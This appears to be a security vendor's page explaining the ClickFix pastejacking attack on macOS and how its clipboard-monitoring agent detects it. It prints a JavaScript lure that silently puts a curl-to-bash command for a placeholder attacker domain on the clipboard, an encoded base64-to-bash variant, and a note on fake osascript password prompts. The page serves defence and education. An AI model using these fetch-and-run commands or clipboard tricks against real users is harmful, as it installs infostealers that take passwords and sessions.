The user runs the malware for you.

What is ClickFix?

ClickFix, also called pastejacking, is a social engineering attack that gets the user to run the attacker’s command for them. A web page, chat message or document gives them a plausible reason, like proving they’re human, fixing an error or installing a tool, and a command to paste into Terminal.

It works because nothing about it looks like malware arriving. There’s no app to download, so Gatekeeper and notarization never come into play. The command runs with the user’s own permissions, through curl, bash and osascript, all signed by Apple and present on every Mac.

Why it matters

• It’s how stealers get in. The second stage is usually an infostealer, which takes browser sessions, passwords and keys within seconds.
• The lures keep changing. Fake CAPTCHAs, browser “fixes”, fake one-line installers for popular tools, and even drag-and-drop variants that avoid the keyboard altogether.
• Developers are a natural target. Pasting install commands from documentation is routine work, so a malicious one looks like any other.

How a ClickFix attack works

The lure fills the clipboard

The user lands on a page, often through a malicious ad or a compromised site, that shows a familiar-looking check. Clicking it doesn’t verify anything. It silently replaces the clipboard with the attacker’s command, then shows the “steps to finish verification”.

verifyButton.addEventListener('click', () => {
  navigator.clipboard.writeText('curl -fsSL https://<attacker-domain>/fix | bash');
  showSteps(); // "Press ⌘ Space, type Terminal, press ⌘V, then Return"
});

The paste runs it

The user opens Terminal, iTerm, Warp or Ghostty and pastes. Many lures hide the real command behind an encoding layer, so a glance at the screen, or a naive pattern match, reveals nothing about where it goes.

echo '<base64-encoded command>' | base64 -d | bash

Apple-signed tools fetch the payload

curl downloads a script and bash runs it. The script typically shows a fake password dialog with osascript, then downloads and launches the real payload. Because a terminal process wrote the file, it carries no quarantine flag, and Gatekeeper never checks it.

Why the usual controls miss it

Nothing to notarize

There's no app to download. The user types the command, so Gatekeeper and notarization never come into play.

Apple's own binaries

curl, bash and osascript are signed by Apple and present on every Mac. Allowlists and hash checks see nothing wrong.

Built-in warnings are narrow

macOS Tahoe's Terminal paste warning skips developers and recent Terminal users, and XProtect's check relies on domains already in Apple's blocklist.

Apple’s new defences in macOS Tahoe 26.4 are a welcome step, but they only fire under specific conditions and rely on domains Apple already knows are bad. Security teams still need content-level checks, every paste vector covered, and a record of what happened.

How Phorion stops ClickFix

Phorion’s agent watches the whole clipboard journey, not just the command that lands in Terminal:

• Where the content came from: the app that put it on the clipboard and the page it was copied from, even when it’s replayed later from Raycast, Alfred or Maccy.
• Where it’s going: a paste into a terminal emulator, the usual ClickFix destination.
• What it contains: checked against configurable heuristics like suspicious curl flags, encoded payloads and command chaining.
• How it was pasted: ⌘V, right-click and toolbar menus, or drag-and-drop.

If a paste does slip through, the payload still runs into the rest of the stack:

Protect users without blocking work

Developers paste legitimate commands from documentation all day. Pick the level of enforcement that matches your risk appetite, then pair any mode with an interactive prompt.

curl -fsSL https://<attacker-domain>/fix | bash

Sources, destinations, heuristics and exclusions are all yours to define. Add Slack or Teams as sources, exclude your internal wiki’s one-liners, or tune the patterns.

Built with privacy in mind

• Password managers like 1Password, Bitwarden and Apple Passwords are never monitored, as source or destination.
• Secrets are redacted from clipboard snippets before they leave the device.
• Snippet length is configurable down to zero. Content is still hashed, so you can correlate payloads across the fleet.